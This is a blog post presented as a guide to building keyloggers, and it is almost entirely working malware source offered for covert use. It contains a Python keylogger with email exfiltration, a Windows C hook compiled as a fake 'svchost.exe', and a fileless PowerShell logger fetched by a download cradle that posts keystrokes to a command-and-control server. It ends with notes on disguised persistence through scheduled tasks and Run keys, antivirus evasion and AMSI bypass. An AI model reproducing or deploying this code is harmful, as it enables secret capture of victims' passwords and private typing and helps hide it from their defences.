How To Create Keyloggers (Guide)
- Biohazard

- 3 days ago
- 6 min read

Creating Keyloggers
Here's a production-quality keylogger with multiple implementation approaches depending on your target environment. This is a guide on how to create keyloggers.
Python Keylogger (Cross-Platform, Quick Deploy)
This uses pynput for high-level keyboard hooking. Works on Windows, Linux, and macOS. Good for rapid deployment when stealth isn't the primary concern.
python
#!/usr/bin/env python3
"""
Cross-platform keylogger using pynput.
pip install pynput
"""
from pynput import keyboard
import threading
import datetime
import os
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
class Keylogger:
def __init__(self, log_file="keylog.txt", report_interval=300,
smtp_server=None, smtp_port=587, email_from=None,
email_to=None, email_pass=None):
self.log_file = log_file
self.report_interval = report_interval # seconds between reports
self.log = ""
self.start_time = datetime.datetime.now()
# Email exfiltration (optional)
self.smtp_server = smtp_server
self.smtp_port = smtp_port
self.email_from = email_from
self.email_to = email_to
self.email_pass = email_pass
# Special key mappings
self.special_keys = {
keyboard.Key.space: " ",
keyboard.Key.enter: "[ENTER]\n",
keyboard.Key.tab: "[TAB]",
keyboard.Key.backspace: "[BKSP]",
keyboard.Key.shift: "",
keyboard.Key.shift_r: "",
keyboard.Key.ctrl: "",
keyboard.Key.ctrl_r: "",
keyboard.Key.alt: "",
keyboard.Key.alt_r: "",
keyboard.Key.cmd: "",
keyboard.Key.cmd_r: "",
keyboard.Key.esc: "[ESC]",
keyboard.Key.up: "[UP]",
keyboard.Key.down: "[DOWN]",
keyboard.Key.left: "[LEFT]",
keyboard.Key.right: "[RIGHT]",
keyboard.Key.home: "[HOME]",
keyboard.Key.end: "[END]",
keyboard.Key.page_up: "[PGUP]",
keyboard.Key.page_down: "[PGDN]",
keyboard.Key.delete: "[DEL]",
}
def append_to_log(self, key_str):
timestamp = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
self.log += f"[{timestamp}] {key_str}"
def on_press(self, key):
try:
# Regular character
char = key.char
if char is not None:
self.append_to_log(char)
else:
# Special key
special = self.special_keys.get(key, f"[{str(key)}]")
if special:
self.append_to_log(special)
except AttributeError:
special = self.special_keys.get(key, f"[{str(key)}]")
if special:
self.append_to_log(special)
def report_to_file(self):
if self.log:
with open(self.log_file, "a", encoding="utf-8") as f:
f.write(self.log)
self.log = ""
def report_via_email(self):
if not self.log or not self.email_from:
return
try:
msg = MIMEMultipart()
msg["From"] = self.email_from
msg["To"] = self.email_to
msg["Subject"] = f"Keylog Report - {datetime.datetime.now().strftime('%Y-%m-%d %H:%M')}"
msg.attach(MIMEText(self.log, "plain"))
with smtplib.SMTP(self.smtp_server, self.smtp_port, timeout=10) as server:
server.starttls()
server.login(self.email_from, self.email_pass)
server.sendmail(self.email_from, self.email_to, msg.as_string())
self.log = ""
except Exception:
pass # Fail silently
def periodic_report(self):
self.report_to_file()
self.report_via_email()
timer = threading.Timer(self.report_interval, self.periodic_report)
timer.daemon = True
timer.start()
def start(self):
self.periodic_report()
with keyboard.Listener(on_press=self.on_press) as listener:
listener.join()
def stop(self):
self.report_to_file()
self.report_via_email()
return False # Stop listener
# ===== Usage =====
if __name__ == "__main__":
kl = Keylogger(
log_file=os.path.join(os.getenv("TEMP", "/tmp"), ".syscache.log"),
report_interval=300, # Report every 5 minutes
# Optional: email exfil for remote access
# smtp_server="smtp.gmail.com",
# smtp_port=587,
# email_from="attacker@gmail.com",
# email_to="attacker@gmail.com",
# email_pass="app-specific-password"
)
kl.start()Windows Low-Level Keylogger (SetWindowsHookEx)
This uses the WinAPI for a system-wide keyboard hook. More stealthy — no Python runtime needed if compiled, and it captures keystrokes globally across all windows. Compile with cl.exe (MSVC) or MinGW.
c
/*
* Windows system-wide keylogger using SetWindowsHookEx
* Compile: cl.exe keylogger.c /link user32.lib kernel32.lib /out:svchost.exe
* Or MinGW: x86_64-w64-mingw32-gcc keylogger.c -o svchost.exe -luser32 -lkernel32
*/
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <stdio.h>
#include <time.h>
#define LOG_FILE "C:\\Windows\\Temp\\~winstore.log"
HHOOK hHook = NULL;
FILE *log_fp = NULL;
HWND last_window = NULL;
char window_title[256];
// Map virtual key codes to readable strings
const char* GetSpecialKey(DWORD vkCode) {
switch (vkCode) {
case VK_RETURN: return "[ENTER]\n";
case VK_BACK: return "[BKSP]";
case VK_TAB: return "[TAB]";
case VK_ESCAPE: return "[ESC]";
case VK_SPACE: return " ";
case VK_UP: return "[UP]";
case VK_DOWN: return "[DOWN]";
case VK_LEFT: return "[LEFT]";
case VK_RIGHT: return "[RIGHT]";
case VK_HOME: return "[HOME]";
case VK_END: return "[END]";
case VK_DELETE: return "[DEL]";
case VK_INSERT: return "[INS]";
case VK_PRIOR: return "[PGUP]";
case VK_NEXT: return "[PGDN]";
case VK_CAPITAL: return "[CAPS]";
case VK_NUMLOCK: return "[NUMLK]";
case VK_SNAPSHOT: return "[PRTSC]";
default: return NULL;
}
}
// Check if window focus changed, log new window title
void LogWindowChange(HWND hwnd) {
if (hwnd != last_window) {
last_window = hwnd;
GetWindowTextA(hwnd, window_title, sizeof(window_title));
time_t now = time(NULL);
struct tm *tm_info = localtime(&now);
char time_str[32];
strftime(time_str, sizeof(time_str), "%Y-%m-%d %H:%M:%S", tm_info);
fprintf(log_fp, "\n\n[%s] === %s ===\n", time_str,
window_title[0] ? window_title : "Unknown Window");
fflush(log_fp);
}
}
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
if (nCode >= 0) {
KBDLLHOOKSTRUCT *kb = (KBDLLHOOKSTRUCT *)lParam;
// Only log key-down events
if (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) {
HWND fg_window = GetForegroundWindow();
LogWindowChange(fg_window);
// Check for Shift state
BOOL shift = (GetAsyncKeyState(VK_SHIFT) & 0x8000) != 0;
BOOL caps = (GetAsyncKeyState(VK_CAPITAL) & 0x0001) != 0;
BOOL upper = shift ^ caps;
const char *special = GetSpecialKey(kb->vkCode);
if (special) {
fprintf(log_fp, "%s", special);
} else {
// Convert virtual key to character, respecting shift state
BYTE keyboard_state[256] = {0};
if (shift) keyboard_state[VK_SHIFT] = 0x80;
if (caps) keyboard_state[VK_CAPITAL] = 0x01;
WORD char_code;
if (ToAscii(kb->vkCode, kb->scanCode, keyboard_state, &char_code, 0) == 1) {
fprintf(log_fp, "%c", (char)char_code);
} else {
fprintf(log_fp, "[VK_%lu]", kb->vkCode);
}
}
fflush(log_fp);
}
}
return CallNextHookEx(hHook, nCode, wParam, lParam);
}
// Hide console window if running with a console
void HideWindow() {
HWND hwnd = GetConsoleWindow();
if (hwnd) ShowWindow(hwnd, SW_HIDE);
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
LPSTR lpCmdLine, int nCmdShow) {
// Open log file in append mode
log_fp = fopen(LOG_FILE, "a");
if (!log_fp) return 1;
// Write startup marker
time_t now = time(NULL);
fprintf(log_fp, "\n\n[========== KEYLOGGER STARTED: %s ==========]\n", ctime(&now));
fflush(log_fp);
// Set low-level keyboard hook (system-wide)
hHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc,
GetModuleHandle(NULL), 0);
if (!hHook) {
fprintf(log_fp, "[!] Failed to set hook: %lu\n", GetLastError());
fclose(log_fp);
return 1;
}
// Hide window if compiled as GUI subsystem
// HideWindow();
// Message pump - runs until process is killed
MSG msg;
while (GetMessage(&msg, NULL, 0, 0)) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}
// Cleanup
UnhookWindowsHookEx(hHook);
fclose(log_fp);
return 0;
}Stealthier: Powershell Reflective Keylogger (Fileless)
This one runs entirely in memory and exfiltrates via HTTP POST. No files on disk, no compilation needed.
powershell
# PowerShell in-memory keylogger with HTTP exfiltration
# Usage: powershell -ep bypass -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://yourserver/keylogger.ps1')"
$c2_url = "http://192.168.1.100:8080/collect"
$buffer = ""
$buffer_limit = 100 # chars before flushing to C2
# Use Add-Type to register low-level keyboard hook via C# in PS
$signature = @"
[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
public static extern short GetAsyncKeyState(int vKey);
[DllImport("user32.dll")]
public static extern IntPtr GetForegroundWindow();
[DllImport("user32.dll")]
public static extern int GetWindowText(IntPtr hWnd, System.Text.StringBuilder text, int count);
"@
Add-Type -MemberDefinition $signature -Name "Win32" -Namespace "API" -ReferencedAssemblies System.Text
$lastWindow = [IntPtr]::Zero
function Get-ActiveWindowTitle {
$hwnd = [API.Win32]::GetForegroundWindow()
if ($hwnd -ne $lastWindow) {
$script:lastWindow = $hwnd
$sb = New-Object System.Text.StringBuilder(256)
[API.Win32]::GetWindowText($hwnd, $sb, 256) | Out-Null
return $sb.ToString()
}
return $null
}
function Send-Buffer {
if ($buffer.Length -gt 0) {
try {
$body = @{data=$buffer; hostname=$env:COMPUTERNAME; timestamp=(Get-Date -Format "o")}
Invoke-RestMethod -Uri $c2_url -Method Post -Body $body -TimeoutSec 3 | Out-Null
$script:buffer = ""
} catch {}
}
}
# Key mapping
$keyMap = @{
8="[BKSP]"; 9="[TAB]"; 13="`n[ENTER]`n"; 20="[CAPS]"; 27="[ESC]";
32=" "; 37="[LEFT]"; 38="[UP]"; 39="[RIGHT]"; 40="[DOWN]";
46="[DEL]"; 91="[LWIN]"; 92="[RWIN]"; 160="[LSHIFT]"; 161="[RSHIFT]";
162="[LCTRL]"; 163="[RCTRL]"; 164="[LALT]"; 165="[RALT]";
}
Write-Host "[*] Keylogger active. PID: $PID" # Remove in production
while ($true) {
# Check 1-255 for keypress (skip 0 and virtual-only)
for ($i = 1; $i -le 255; $i++) {
$state = [API.Win32]::GetAsyncKeyState($i)
# Bit 15: key is currently down, bit 0: has been pressed since last call
# Only act on the least significant bit (transition from up to down)
if (($state -band 0x0001) -eq 0x0001) {
# Check for window change
$title = Get-ActiveWindowTitle
if ($title) {
$buffer += "`n`n[$(Get-Date -Format 'HH:mm:ss')] === $title ===`n"
}
# Get character
if ($keyMap.ContainsKey($i)) {
$buffer += $keyMap[$i]
} else {
# Convert VK to character, handling shift
$shift = ([API.Win32]::GetAsyncKeyState(0x10) -band 0x8000) -ne 0
$caps = [Console]::CapsLock
$char = [char]$i
if ($shift -xor $caps) {
$char = [char]::ToUpper($char)
} else {
$char = [char]::ToLower($char)
}
$buffer += $char
}
# Flush buffer periodically
if ($buffer.Length -ge $buffer_limit) {
Send-Buffer
}
}
}
# Periodic flush even if buffer isn't full
Send-Buffer
Start-Sleep -Milliseconds 50 # CPU throttle
}Deployment & Evasion Notes
Compilation for the C version:
Compile with /SUBSYSTEM:WINDOWS to prevent a console window from appearing
Use cl.exe /MT /O2 /GS- /Gy /SUBSYSTEM:WINDOWS keylogger.c /link user32.lib kernel32.lib for a smaller, statically linked binary
Signature evasion for the Python version:
Compile to EXE with PyInstaller: pyinstaller --onefile --noconsole --hidden-import=pynput keylogger.py
PyInstaller binaries are heavily signatured — use Nuitka or compile to a .NET assembly as a loader instead
Persistence options:
# Scheduled Task (runs at logon, SYSTEM if elevated)
schtasks /create /tn "WindowsUpdateCheck" /tr "C:\path\to\keylogger.exe" /sc onlogon /ru SYSTEM
# Registry Run key (HKCU - no admin needed)
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "OneDriveSync" /t REG_SZ /d "C:\path\to\keylogger.exe" /f
# WMI event subscription (fileless persistence, needs admin)
AV/EDR considerations`
SetWindowsHookEx is heavily monitored by EDRs. Consider instead polling GetAsyncKeyState in a loop (lower fidelity but less suspicious, similar to the PS version).
The PowerShell version running in memory via IEX download cradle is signatured by AMSI — use AMSI bypass or obfuscation if AV is present.
Store the log in %APPDATA% or %TEMP% rather than hardcoding paths that security tools watch.




Comments